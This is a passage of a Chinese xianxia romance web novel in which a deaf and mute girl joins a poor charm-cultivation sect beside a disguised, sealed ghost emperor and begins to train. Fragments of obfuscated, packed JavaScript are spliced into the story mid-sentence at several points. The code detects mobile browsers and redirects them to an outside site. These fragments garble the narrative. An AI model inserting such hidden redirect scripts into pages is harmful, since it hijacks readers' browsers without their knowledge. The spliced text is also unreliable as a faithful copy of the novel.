郑思如刚想拉着云若走,才发现她已经在入门契和拜师贴上签好了名,还把两张纸双手递给了玉姬。 这么快。 “你……”郑思如刚想问,你知道这是什么门派么?知道自己做了什么吗? 可他转念一想,天界之光入媚修这件事,听起来,好像还挺带感的。 不知道等她恢复记忆后,会不会吓死自己。 “玉长老,我也要入门,拿帖子来吧。” 4. 最后一世情劫(4) 04.最后一世情劫(4) 玉姬本以为这次招新又要无功而返,谁知道机缘之下“买一送一”,一下子多了两个弟子,解决了门派的燃眉之急。 仙盟规定,门派若三年不进新弟子,警告一次;五年无新弟子,门派强制解散。 今年已经是惊鸿派招不到人的第五年。 心中大石头落地,玉姬嘴角抑制不住地疯狂上扬,狐媚双眼弯成细月牙。 她也不求再招人,立即带上新旧弟子启程,生怕煮熟的鸭子飞了。 启程,靠的是双脚。 这让云若有些不解。 云若轻轻扯郑思如的衣袖,对方立马会意,接通了二人神识。 “如官,为何长老不御剑带我们飞回门派?” “啧,你想得倒美。御剑的不是剑修,就是境界到了。这破落门派两者皆非,哪来的御剑飞行?” “我以为神仙都可以御剑飞行……”云若微赧,问道:“什么是剑修啊,境界又是什么?” 郑思如算听明白,合着她什么都不懂,“你连剑修和境界都不知道,竟然还想修仙?” 云若长于闭塞山村,周围都是凡人,这些修士间的常识,对她而言皆是新奇事物。 她只是想离一位仙人近一些,再近一些。 仙人与大海、月亮一样,都是她想追寻想留住的美好风景。 云若低垂着眉眼,羽睫轻颤,像犯错被当场指出一样涨红了脸色,“对不起,我没做好功课……” 郑思如说话没遮拦惯了,见云若这副模样,心中升腾起无比诡异的感觉。 有些后悔,还有些酸涩,总之浑身不舒服。 从前二人见面都不给对方好脸色,常常是他嘲讽讥笑、说出一箩筐的刻薄话后,她冷冷一瞥便拂袖清傲离去,徒留他满腹火气无处发。 很长一段岁月中,她对他说的最长一句话是:“师弟,好自为之。” 何时这么低声下气过。 简直…… 简直不要太爽。 郑思如冷哼一声,“算了,我讲给你听。你仔细记着,我只说一次。” 他从修仙境界、修士种类、各大门派讲起。 云若这才知道,原来从凡人到仙人,是无数个难以逾越的鸿沟。 修仙分为上中下共九大境界。 下三境为锻体、悟心、入灵,仍属凡人范畴,只是体质与寿命较普通人强与长。 天生灵根靠运气,后天灵根靠丹药。 云若这样的,就是最低的锻体境。 而玉姬,也只是入灵境。 中三境是云腾、月昃、日盈。 中三境才算真正意义上的修士,因为此时,凡骨褪变为灵骨,能化灵气为己用,能依靠器物飞行。 同时,他们自身灵气充沛,不会被天界灵气压迫身亡,可以去六重天以下定居,不必留在人间。 上三境分为地黄、天玄、空明。 前二境界的修士即是世俗意义上的仙人,灵骨化为仙骨,长生不老,神通广大。 空明境为神,与天地同生,基本只存在于天界古籍中。 云若觉得自己是幸运的。 锻体境的她认识了天玄境的慕容修。 云若又觉得自己不太幸运。 她和修官之间差了六个境界,也就是大概五百万年的距离。 这还是保守估计,若一直突破不了,在某一境界死翘翘的可能性是极大的。 世上修士万万千千,仙人只有五六十个,仙君只有十个。 而且,五百万年是什么概念? 云若丝毫不知。 她连五年都觉得是很长很长的一段岁月。 好难啊。 有一点畏惧,但还是想。 从郑思如讲述中,她还大概了解了剑修、法修、符修、器修、丹修等概念。 她想加入的云渚,以剑修为主,兼之法修、符修。 云若回想慕容修那柄古朴长剑和信手拈来的各种神奇法诀,恍然大悟。 至于她即将加入的惊鸿派,郑思如说这是媚修。 她问什么是媚修,郑思如支支吾吾说得含糊。 “你进去就知道了,我也不懂。”他如是道。 她想起来郑思如也会些厉害的法术,譬如净水诀,而且他还帮她恢复了灵根,于是问:“如官,你是法修吗?那你是什么境界呢,应该很高吧,是入灵境吗?” “开什么玩笑,入灵境?入灵境配得上本君么?”郑思如差点脱口而出。 当然,他还是明白自己当下处境,不情不愿点点头。 实在可耻! 让他用不了真身的就是眼前这位什么都不懂的师姐。 五百多年前一场恶斗,他因为一个小小的疏忽落败,被她又一次封印在无间荒海中。 “如官,你眼神好凶狠。” “是么?我天生一张凶脸,看着像恶人,没办法。” “没有啊,如官是很好很好的人,虽然嘴上凶了些,为人却极古道热肠,也是我的恩人,我很感谢如官。” 郑思如低头,见云若微扬脸,笑眼望他,颊上红痣给这清秀温软的脸庞平添些娇艳。 天真又柔和的人,真诚又直白的感谢。 如果一直是这样就好了。 郑思如忽然这样想到。 不要回想起所有,不要成为高高在上的心若仙子。 若能如此,他也愿意一直只是‘郑思如’。 * 惊鸿派就在魏国,一行人走了半日便到。 ……就是个简单的三进三出院落,住他们二、三十号人。 惊鸿派弟子许久没见新人,闲得抠脚,此时见两个新鲜美人,像小猪见白菜一样纷纷围上来。 由于郑思如煞气太重,人基本全围在云若那边。 可他们很快发现云若听不见,脸上都流露出同情的表情。 只有少数入灵境的师姐能用神识和她交流。 神识沟通耗费灵力,两位师姐简单寒暄几句,便也作罢。 云若感激她们的热情,却也害怕麻烦她们,暗自下定决心,快些修炼到入灵境。 玉姬向诸弟子简单介绍完云若和郑思如,对二人道:“你们先去房间里熟悉熟悉,今晚我会向你们介绍一下惊鸿派重要事宜。” 云若被师姐们簇拥着去了后院。 惊鸿派地方小,她们五人一房间。 师姐们递了七件绣不同花样的樱粉衣裙、一大袋首饰和一大盒胭脂水粉给云若。 师姐柳月告诉她:“小若妹子,别看我们惊鸿派穷,但我们门训是‘再穷不能穷打扮’,门派所有钱都用来买衣裙首饰了。你天生长得就好看,只是打扮太朴素,以后可不许再这样。” 师姐楚灵儿附和道:“就是就是,漂亮裙子穿起来,步摇玉镯戴起来,怎么美怎么来!不美还当个屁的媚修!” 说完,几个师姐七嘴八舌讨论起来,决定当即就给云若来个改头换面。 从衣裙怎么穿到该挽什么发髻,从戴哪根簪子到上什么样的妆,师姐们展开热火朝天的讨论。 “你们看,我这个眉毛画的好吧?美如远山含黛,飘渺青云间,和卓文君有得一拼!” “小若妹子,眼睛不舒服和我说声,我在给你眼角打胭脂呢。” “腰带应该这么束起来,显得腰肢纤细,又轻盈可爱……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137486|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小小的屋中充斥着快活的气息。 女人的快乐有时候就是这么简单。 云若感觉内心一阵温暖。 师姐们很热情,并没有因为她的缺陷冷落她,反而极耐心地和她沟通。 而且,看着最后镜中的自己,云若不禁在心中“哇”了一声。 这是她吗?云若颊上不禁脸红起来。 楚灵儿看着云若,笑得合不拢嘴,“师妹呀,差不多到时间上课咯。你现在出去,一定会把那几个男人惊艳得眼睛都恨不得贴你身上!” * 云若这边热闹无比。 郑思如在那边,脸黑得让为数不多的三个师兄快要掘地三尺遁地而逃。 “师弟,这个衣服……你……我们……惊鸿派都得……这么穿……” 崔雪知一张秀美的脸笑得比哭还难看,但眼下唯一敢和郑思如说话的就是他。 这位郑师弟长得俊美艳丽,就是眼睛望向人时杀气太重。 这样的人为什么会被玉长老忽悠进来做媚修啊…… 崔雪知捧衣物的手,微微颤抖。 郑思如拎起粉色的衣裙,神情莫测。 “呵。” 他道。 崔雪知一个激灵,汗毛耸立。 其他两个弟子更是压低了呼吸。 “行啊。”郑思如冷睥着崔雪知。 “啊,啊?”崔雪知没反应过来,“其实……师弟要真不想穿也可以,师、师弟和玉长老沟通沟通,也许能……” “不必如此。”郑思如打断他,露出似笑非笑的表情,“门派规定,我身为惊鸿派弟子,还是会遵守的。谢谢崔师兄。” 后面五个字听得崔雪知头皮发麻。 郑思如穿上那粉衫,束上银腰带,穿上银纹黑靴,岔开腿坐椅上,挑眉看着崔雪知,“崔师兄,还满意吗?” 明明他只是普通地坐着,却给崔雪知一种人间帝王坐龙椅的错觉,无端让人想屈膝跪地。 崔雪知赶忙回道:“满、满、满意……” 少年艳丽风流,举世无双。 即便着了粉衫,却无丝毫女气,反而更显放.荡不羁,与世不同。 “那……换完衣服,咱们去前院听学吧……”崔雪知虽仍战战兢兢,却不得不承认,若这少年愿意,美貌便是他杀人的利器。 郑思如起身,冷哼一声,拢拢衣襟,迈步出门。 崔雪知等人跟在身后,倒衬得他才是大师兄般。 到了前院,等了一会,便见一群粉裙姑娘款款而来。 “小若妹子,出去吧,让他们看看你。” 一个娇小身影被诸女推出来。 郑思如原本漫不经心的眼神一下就定住。 她不太适应这种所有目光都落到身上的被关注感,耳上颈边都染了淡淡的粉色。 她穿着绣桃花的樱粉长裙,银白腰带束起盈盈不堪一握的细腰,在腰前系成漂亮的结,垂下轻柔的飘带,随风舒展。 她眉染黛色,绛唇如樱,眼下晕了淡淡的红,看起来无辜又惹人怜爱。眉眼纯澈,仿佛初春盛开的桃花,红痣处被描了一朵五瓣红梅,灵巧娇美。 黯淡无光的右眼,是白璧微瑕。 她越是美丽,这瑕疵在郑思如看来就越刺眼。 郑思如半晌不语,楚灵儿急忙问:“郑师弟,你看小若妹子被我们打扮得如何?” “嗯……”郑思如强作淡然回道:“尚可。” 楚灵儿撇撇嘴。 然而,没过一会,云若睁圆了眼睛,有些担忧指指他的脸。 郑思如:? 崔雪知瑟瑟发抖,悄声耳语道:“师弟,你……你流鼻血了。 5. 最后一世情劫(5) 05.最后一世情劫(5) 惊鸿派前堂。 以郑思如为中心的方圆两个座位内都没人敢坐,其他地方则满满当当,甚至有些拥挤。 云若被师姐们拉着手坐在前面,她有些担忧地回望一眼,看见郑思如正百无聊赖地玩一根狗尾巴草。 怎么会突然流鼻血,应该是上火了吧?云若想着,是时候做些绿豆沙、冰糖炖雪梨给他去去火。 郑思如感受到前方关心的视线,眼神却强行看着狗尾巴草毛茸茸的叶片。 不一会,玉姬抱着一叠泛旧了的书籍进了前堂。 “好了,我来给你们照常上课。至于两位新弟子,先把《惊鸿派通史》、《修仙入门指南》、《惊鸿派门训》通读一遍再说。” 玉姬把书放到云若和郑思如面前,杂七杂八的书摞在一起像座小山。 郑思如随意翻开一页书,啧了一声,“玉长老,我好像得了种看书就会头疼的病,怎么办啊?” 弟子中发出几声隐隐压抑的低笑。 “……随意。”玉姬无所谓,反正她只当郑思如是用来凑人头的,学不学都小事。 云若听不见这边动静,倒真津津有味看起这些书。 先是《惊鸿门派史》。 原来这惊鸿派的创派祖师来头十分大,是高居九重天的仙君柳宜均。 柳宜均虽为男身,却貌若好女,喜胭脂水粉、钗环首饰,尤好樱粉色衣衫。 数十万年以来,惊鸿派一直致力于把祖师爷独一无二的审美追求和美的独特理念普及到天界各个角落。 ……但是,显然不太成功。 门中偶尔出现零星几个‘惊才绝艳’的人物,比如: ——“她,周旋于南界魔君、天界仙君、人间帝皇间,集天地至高至纯阳气于一身,双.修术臻至化境,成为门中首次突破地黄境的弟子……” 虽然不太理解什么叫‘至高至纯阳气’,但云若记住了一个关键信息:双.修可以成仙! 不过,惊鸿派已经很久没这么厉害的弟子。 玉姬这辈,惊鸿派已彻底到混吃等死的地步。 门中有且仅有两人为中三境修士,可出入低层天界,一个是掌门,一个是黄师姐。 门派史像话本故事一样,让云若看得津津有味,但《修仙入门指南》实打实让云若知道修炼进境是怎么回事。 修炼指引灵入体,培育灵根,灵气足、灵根生长,便能进境。 简单来说,灵气似水,灵根如花,将灵气凝结起来,像浇花一样浇灌体内灵根,灵根便会生长,长到一定阶段,境界也随之提升。 每个境界都有对应的心法教材,修士可以选择适合的学习。 虽说境界对修士而言无比重要,将修士划分成三六九等。但空有境界却不会运用灵气的修士,就像拥有财宝却不会花的铁公鸡,发挥不出灵气真正的力量。 在如何运用灵气这个问题上,漫长的岁月生出许多不同门路。 剑修驭剑释灵,威力强大;医修以灵救人,妙手回春;器修炼灵为器,造就法宝;媚修运灵致幻,惑人无形…… 有人专修,有人兼修。有人昨日是剑修,今日是医修,有人一辈子都在死磕器修。 对此,《指南》如是写道: 仙途漫漫,大道三千,编者有四句箴言赠予天下修士,谨以共勉。 一,莫道天涯无路,进境唯在步步。 二,门门皆通,不如一门专精。 三,撞破南墙,撞对南墙,选择比努力更重要。 四,天才除外。 这之后,便是对各修仙途径的详细分类介绍。 云若把四句箴言念了又念,心中感慨外还有些终于触及大道的兴奋,正要向下读去,感觉发边一阵轻痒。 回头,却看郑思如正用狗尾巴草挠她的头。 “人都走完了,你还坐这儿干嘛?” “我看书呢,你已经看完啦?” 郑思如看看她手中那支笔,又看看她在白纸上记的东西,“……不是吧,你居然还做笔记?” “我记性不好,看了就忘,这样才记得清楚。” 郑思如拿起她的笔记,只见上面字迹细瘦娟秀,竟把那书中内容清晰归纳成大小点,冗杂的信息立刻一目了然。 【一.惊鸿派的基本信息:定位、宗旨、人数、弟子信息、主修心法/功法】 【二.惊鸿派的态势分析:优势、劣势、机会、挑战、整体分析(待补充)】 …… 郑思如:什么玩意?掌门后遗症? “你……写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137487|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些干什么?” “啊,就是觉得应该这么写。”云若被这么一问也愣住。 郑思如侧坐在桌子上,啧啧奇道:“真是小弟子的命,操着人家大掌门的心。” 郑思如看着她在门派宗旨那儿写道“均天下美于世人”,忽然觉得有些眼熟。 在他眼里,天界那群仙君——也就是他那几个便宜师弟们,各有各的奇葩之处,柳宜均就是长得最大最显眼那朵奇葩。 柳宜均总觉得像自己这般‘美丽’的仙人,活着就是造福三界,扭曲的想法造就他极度自恋的性格。 柳宜均隔段时间就要去不同地方站着,没错,就是像天柱一样杵在那,还美其名曰:“均天下美于世人”。 无论过多少万年,郑思如始终忘不了柳宜均对他说的那句话—— “天天让你们这些臭男人看本仙君,真是明珠蒙尘!本仙君要让整个三界都看到我,要把这般美景传遍三界,人人皆可赏之!” 嘶—— 光想想,鸡皮疙瘩都抖落一地。 “咳,你没必要把这句话奉为圭臬。”他提醒道。 云若眼带疑惑,“为何?我觉得它很好呀。如官你想,世上不平事甚多,钱财、灵力、境界……这些东西不是人人都能有的。唯有对美的感受,只要想,就可以有,一朵云、一弯月、一片花,还有你手里的狗尾巴草,它们都很美,每每见了,都让你觉得活着很好。均天下之美于世人,是多伟大奇妙的愿望啊。” ——你要这么想,我也没办法。郑思如心中默默道。 ——但是竟然还有那么一点道理,手中狗尾巴草仿佛更可爱起来了。 “不是,云月花我能理解,狗尾巴草有什么美的?”长得跟毛毛虫似的。 “这你就不知道了,狗尾巴草的花语是坚忍的喜欢、默默付出的爱,关于它,还有十分美丽的传说。”云若眉眼间带了些得色,笑意也更温婉动人。 “传说很多年前,有位仙女下凡,她和书生相恋,却被王母阻挠,在对抗时,她的爱犬为救她和书生被王母打死。仙女和书生化作阴阳玉配,爱犬则化为狗尾巴草,见证他们忠贞不渝的爱情。” “哦。” 郑思如听罢,手中一个火球瞬间腾空而起。 把狗尾巴草烧得渣都不剩。 6. 最后一世情劫(6) 06.最后一世情劫(6) 郑思如带云若去惊鸿派小库房挑心法功法。 “这本最好,其它都比不上这本。”郑思如把《云渚心法》递给云若。 云若接过翻开,只见扉页写着:“修仙如起高楼,下固而上自稳。不才遍览天界现行心法,博采众长,编纂此书,以供剑修、符修、法修使用,祝各位修士早登仙途、悟得大道。云渚王心若、郑含元敬上。” 云若问:“王心若、郑含元?他们是谁,竟能编出如此厉害的心法,想必也是法力极为高强的仙人。” 郑思如嗯了声,似笑非笑道:“王心若是仙界盟主,正道魁首,云渚前任掌门,仪光神君座下首徒,天界之光,柳宜均唯一承认比他美的人,千万男修的梦想。郑含元是她师弟。” “如官,你了解的好清楚。”云若惊叹,而后有些揶揄道:“千万男修的梦想,如官是否也如此?” “是啊,我做梦都想打败她。”郑思如翻个白眼。 云若发现书架上有本《惊鸿心法》,便要拿起,却被郑思如拦下。 “我们是惊鸿派弟子,应该看看这本书吧?”云若不解。 “大可不必。” “啊?“ 郑思如无奈地看着那充满求知欲的双眼,烦躁地把《惊鸿心法》塞到云若手中,“看吧看吧,我不拦你,你看。” 云若好奇接过书,封面下有一行小字:双修秘法大全。 她的眼睛一下就亮了。 她还记得书上那位惊才绝艳的师姐,就是靠双修成仙的,这可是绝佳的功法。 “天地生阴阳,阴阳调和则神清灵通,双修采阳补阴、采阴补阳皆以之为要义。双修异于妖魔之采补,对双方皆有裨益,不损人利己,是故亦非一步登天之邪法,乃三千道法其一而已,诸君宜正视之。赵玄檀、柳宜均书于天历正九两千年春。” 扉页如此写道。 然而云若兴致勃勃翻开书后,很快便面红耳赤合上。 “看啊,怎么不看?”郑思如倚在书架边挑眉问。 那柳宜均虽是个大奇葩,画技却是一流。 栩栩如生,妙不可言,还因画了某些不可言说之物赚得盆满钵满,成了天界最富有的人。 云若满面通红摇摇头,却又有些激动点点头。 “我……我……我要它。”云若把《惊鸿心法》和《云渚心法》放在一起抱着。 这回换郑思如懵了,“你要学?” 云若点点头。 虽然这些图画得让人害羞,但若是双修真能助她升仙,她是一定要好好学习的。 思及此,云若两颊染上霞色,她抿抿唇,含羞着泛起一抹浅笑。 郑思如看着她脸红,不知为何莫名其妙跟着脸红起来。 * 郑思如以为的场景迟迟未至。 云若每日规律得很,早起学心法,晚睡练功法,为修炼几乎废寝忘食,那本《惊(双)鸿(修)心(大)法(全)》压根没再出现过。 课上,玉姬感动于居然有人真得想听课,愿意用神识和口唇同时授课,即便每上完课都要耗去许多精力,课下还会给她开小灶。 最让郑思如觉得要命的是,他觉得云若越来越有师姐的影子。 云若执着的学习劲头感染了惊鸿派那些懒散惯的弟子,现在前堂景象与初到那日完全不同。 他们会主动看书,主动记笔记,玉姬找人做示范时,他们会主动举手。 云若尤其积极,也最得玉姬青睐。 某次课上,讲到媚眼的正确使用方法,云若不仅学习到抛媚眼的基础套路,还颇有自己的理解。 幻术是媚修的杀手锏,媚修也许本身杀伤力不大,但一旦能迷惑住眼前人,控制其神识,则会变得威力极强,被控之人即将任人宰割。 而施展幻术的前提是,先让对方放下戒心。 抛媚眼是方法之一。 云若和玉姬说:“魅惑虽致命,却总有迷惑不住的人,应因人制宜,该清纯时清纯,该无辜时无辜,该诱惑时诱惑,进退之间,将敌人一举拿下。” 郑思如偷听她二人神识时极无语。 你品,你仔细品,这老到熟练的话,既不像从师姐口中说出,也不似云若这般单纯无害的姑娘能想到的。 好好的天山雪莲,怎么长歪了?该死的柳宜均,该死的惊鸿派。 “好,小若,你找个搭档向他们演示一下。”玉姬道。 云若的眼神直接就定在郑思如身上。 “如官,可不可以帮我一下。” 趴在桌上睁目养神的郑思如满脸不情愿跟着她走到前面。 一个眼神能做什么,郑思如根本不信幻术。天界但凡有些名头的修士,防备心都强,都是活了上万年老不死的,什么美色没见过,何至于此。 云若站在他面前,朝他眨眨眼。 他无动于衷。 她带些讨好意味一笑。 他冷漠视之。 她垂着睫毛不知在想什么。 他觉得有些无趣甚至打了呵欠。 直到她脸上有些微微窘迫,再次抬眸时,清亮如琥珀般的左眸蒙上淡淡雾气。 薄雾凝露,欲落未落。 她想把眼泪逼回去,泪珠却越结越大,仿佛在嘲笑她的失败。 她朱唇紧抿,不知在坚持什么,憋着股劲,一语不发。 左眼已经红了。 郑思如有些恍惚,他在做什么?他在刻意和她较劲么? 然后,惹她大庭广众下憋不住泪? 他想起很久很久前的一件事。 真的是很久很久前,久到天界还没柳宜均,久到他还能被尊称一句郑仙君。 师姐用云彩和月光做了个莲花形小花灯,给他当生辰礼物。 他那时极爱酒,有日饮太多,睡了整一年,醒来发现小花灯被他压在肩膀下,碎成小云片,月光也都零星飞走。 师姐来找他,好死不死瞧见了花灯凄惨的尸体,当时就气哭了。 大概就是这样的神情。 师姐说了半天“你”,最终什么话也没憋出来。 一张玉颜涨得通红,不知窘的还是气的。 大概忍着不想哭时却哭出来,是一件让人很丢脸的事。 他没见师姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137488|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪波动这么大过,何况那花灯也不是什么难做之物。 师姐为何会这样? “别哭了,不就是个花灯么,我做个赔给你就是,再说,我也是无意的。” ——他那时好像是这样说的。 师姐冷冷一笑,说:“随你吧。”而后,御剑离去。 此后二人冷战五年。 那一双眼和一滴泪重叠,晕开难言的酸涩苦痛。 郑思如想回去掐死自己。 若再给他一次机会,他会…… “如官,如官?” 神识中忽然有南国口音的呼唤,带着担忧。 郑思如回神,见云若抬眸看他,“我使了小小的忆情术,你没事吧?” 她眼里哪还有泪。 郑思如渐从那情绪中抽离,沉默不语回到位置上。 玉姬有些尴尬,安慰云若:“你这一套下来很厉害,都能跨境使幻术了,让他先缓缓吧。” 课后,前堂只余二人。 云若今日也没心思读书,见郑思如沉默的样子,觉得自己做错事了。 她悄悄挪到他身边,他却毫无反应。 她方要轻扯他衣袖,却见他左边脸庞上隐隐泛着赤色暗纹。 若隐若现,形似符咒,仿若压在血肉中。 她没能力主动神识通话,也不大敢再用力些扯衣袖,只能在一旁干坐着。 他忽然转过头看她,漂亮的眸眼竟成了血红色。 云若被吓一跳,再睁眼后,眼前人又模样如初,仿佛赤色符咒、一双红瞳皆是错觉。 从未存在。 郑思如开口,语气依旧是那般无谓。 “我可能要离开一阵子。” “离开?” “嗯。”语气笃定,“有要事。” “那什么时候才回来啊?” “不知,但尽快。” 云若有些失落,修仙之人都有自己的秘密,她无权过问,只是聚散皆匆匆,欢愉都似梦中,每人都如浮萍随潮水浮动。 似乎什么也抓不住。 “你放心,我一定回来。回来后,我会治好你的耳朵、你的喉咙、你的眼睛。” 郑思如看出她的难过,大着胆子轻轻抚了抚她额边发。 “我还会给你带回一只小花灯。” * 云若修炼进度很快,不到半年,已成功从锻体境迈入悟心境,超过大半师姐师兄。 在大家看来,她积极向上地活着,像一朵顽强的向阳花。 可她偶尔也会郁闷,郑思如已经离开半年了。 修仙路上遇见的这些人,似乎只是她人生中匆匆过客。 也许只有努力修炼,才留得住时光。 她更卖力修炼。 一日晚上,她即将入睡时,沉寂三年的玉简亮了。 她猛地睁开眼,从枕下拿出被摩挲得发亮的玉简。 很快,神识中,她听到了那威严却又淡含关怀的声音。 “小若,在么?” 云若没来得及回应,又听他道: “小若,炼制鬼王的幕后主使,也许已找到了。” 7. 最后一世情劫(7) 07.最后一世情劫(7) “找到了?” 云若微怔,鬼王时期的旧事仿佛在上辈子,此刻谈起‘幕后主使’,她才恍然忆起。 细细论之,她这八年来的经历,全拜这位幕后主使所赐。 若无他,她不会耳聋口哑右眼盲五识几近皆闭,不会只能通过左眼去接触这个世界。 可若无他,她或许还在云府当小丫头,无法有复仇的能力,不会接触通天之道,不会遇见修官,不会结识惊鸿派诸人。 他推动她命运的齿轮,将她未来的路彻底改变,他将两个不相干的世界砸碎再拼接。 找到他,对她而言似乎已不那么重要…… 不,也不是。 若无此人,世上便无可操控她的人,是不是就意味她可以恢复到原来的样子? 然后,把封闭的五识解开。 去听松风雪浪、丝竹管弦,去唱一首家乡小调。 解开身躯桎梏,全心全意拥抱晨曦晚霞、海风月光。 云若还在愣神,慕容修继续道:“近三年来,那人在南国新炼两名鬼王,终露行踪,他应是潜藏在南国以南无道荒海之中。同时,尸身上致命剑气,源于同一把上古宝剑,持剑人恰也在那处。所以,仙盟推断,幕后主使是封印在无道荒海的鬼帝含元。” 云若对过程并不大感兴趣,只是听到名字时疑道:“含元?郑含元?” “你知道他?” “我……我看话本里提到过,可他不是云渚弟子么?” 天界与人间相通,天界修士也常下凡历练,有好事者撰写天界轶事拿到人间传播也是正常的。 慕容修并未质疑,只是语气变得有些淡漠,“曾是,不过他早已叛出云渚,被大师姐封印许多年。最近封印不稳,荒海异象频出,只怕鬼帝又将现世。” “仙盟可以派人再次封印他,让他不再为祸人间。” 慕容修轻笑,只觉云若果然还是个不谙世事的孩子,“若能封印便好,可惜鬼帝法力难测,天界唯有大师姐可与一战。然而师姐下凡历劫,至今未归。” 摸摸枕边的《云渚心法》,云若生出一丝怅然。昔日师姐弟,如今正邪殊途,想想都觉得可惜。 “呃……若天界诸位仙人联合起来,齐心封印他呢?” “小若,天界门派就像人间国家。国与国战争不断,门派间亦有龃龉,各自为政,齐心何难?” 云若倒没想到这些,只觉得有些新奇好笑,不染纤尘的仙人原来也非无欲无求。 就连封个鬼王,也不能联手抗敌,还得等那位大师姐出手。 她又问:“可他为什么要炼鬼王呢?” “鬼帝一向妄图颠覆三界,炼制鬼王,亦是企图发展自己的势力。” “哦……这样啊。” 其实云若仍有疑问:已知鬼帝法力高于修官在内的各个天界仙人,又已知鬼王法力小于修官。那鬼帝为何要费尽心思炼制鬼王,就为了让鬼王祭剑么? 但她不好意思再问慕容修,慕容修像极学堂中的老先生,老先生总觉得她问的问题很幼稚,她不想慕容修觉得她幼稚。 她有疑问一定因为懂得太少! “修官,如果……如果你们成功再封印他,或是杀了他,我能不能恢复……嗯……那些封闭的灵识?”云若小心翼翼问道。 那边沉默了一会。 他越沉默,云若心中越忐忑。 “若解五识,鬼王法力自复。小若,你能保证,你绝不会倚仗法力作乱么?” “我能,我一定能,我绝对能!”云若有些激动地保证道。 她听见慕容修微叹。 他道:“我尽力。” “修官,其实我……” 云若尚未说完,便听慕容修道:“不早了,我尚有要事在身,你休息罢。” 说完,玉简的光华渐渐黯淡。 云若尚未说出的话又咽回肚子去。 她握着玉简翻个身,侧卧着望窗外高悬的明月。 月光淡淡似水凉,轻云拢月,花影映白墙。 望着枕边厚厚的《云渚心法》,云若轻翻一页,目光与月色一齐落在郑含元三个字上。 她心中暗道:鬼帝大人鬼帝大人,如果是您炼的我,那就拜托您再被封印一次吧,也许这样,修官就会给我解开五识。 不需要很长的时间,有那么五十年就够了。 五十年太长,十年也可以。好吧,退一步,一年也可以…… 虽然这么想有些冒犯,但,拜托了! * 郑思如离开惊鸿派整三年后,云若突破入灵境,震惊整个惊鸿派。 玉姬最是开心,她想着,难道惊鸿派马上要拥有百年来第三个能上天的修士。 这速度虽比不上那些一年入中境的天才,或是生在天界的修士之子,但也算上佳。 玉姬感叹,也许有时上天剥夺了一些东西,会以另外形式弥补回来。 入灵境意味着云若可主动用神识和同境或低境之人沟通,不必再被动等人。 惊鸿派弟子们明显感到云若活泼了许多,比起以往羞涩腼腆的笑容,她笑得更加灿烂恣意。 楚灵儿笑她,说:“小若妹子这是变成小话痨了。昨日和她走在路上,她忽然扯着我的衣袖说,灵儿师姐,你说这根狗尾巴草好不好看。可见以往憋得太久,什么奇怪的话都憋出来了。” 几年相处和学习,云若对修仙、三界、惊鸿派的了解愈深。 当今之世,修士不但在境界中分三六九等,在修法上也要分高低尊卑。 媚修最为人看不起,主要因媚修适合的心法太特殊,功法也太特殊。 双.修心法争议极大,有修士认为这是“蹭人仙气”,因为一般而言,低境修士和高境修士双.修,前者得益更大;有修士认为这种修法只是那些生性风流浪.荡的人行事之借口;也有修士觉得,只有修不好其它心法的人才会接受这种心法。 尽管天界有仙君倡导只将之看作修炼途径,但这种声音在以无情道为主流的天界,仍是极少数。 连带着这两位仙君,也成了天界极具争议的话题人物。 而幻术功法,常出现一种状况:跨境战胜。 这对奉行实力为尊的修士而言,是一种‘羞辱’,所以他们坚持认为幻术是邪术妖法,是不正当的法术。 说白了,就不承认幻术也是实力的一部分。 久而久之,三界之内,天界媚修极少,真正混出名头的基本都在地界妖魔鬼怪中。这么一来,说起媚修,大家第一反应都是“不正经”。 那离经叛道又天赋纵横的极少数,都去了天界的自在门。 剩下那些并不离经叛道,却因种种原因天赋极低,但仍对修仙心存期冀的人,就来了惊鸿派。 玉姬说,惊鸿派到了近百年,可说是个“扶贫”门派。 秀美羞怯的崔雪知师兄,曾是魏国风月楼中玉臂千人枕的小倌。 性情火辣的楚灵儿师姐,曾是因丧夫被邻里欺辱泼脏水的寡妇。 热情温柔的柳月师姐,曾嫁与暴虐之人作第十八房小妾。 …… 他们因不能忍受曾经的境遇,走到惊鸿派。 他们都曾活在阴霾之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而后,掌门飞神轻盈落在剑上,拉着她踩上来。 这是云若第二次踏上剑。 “你试试,尝试将这把剑当作人,和它通神识。”掌门没细说,只淡淡吩咐道。 言简意赅。 云若努力尝试多次,也失败多次,但掌门耐心很好。 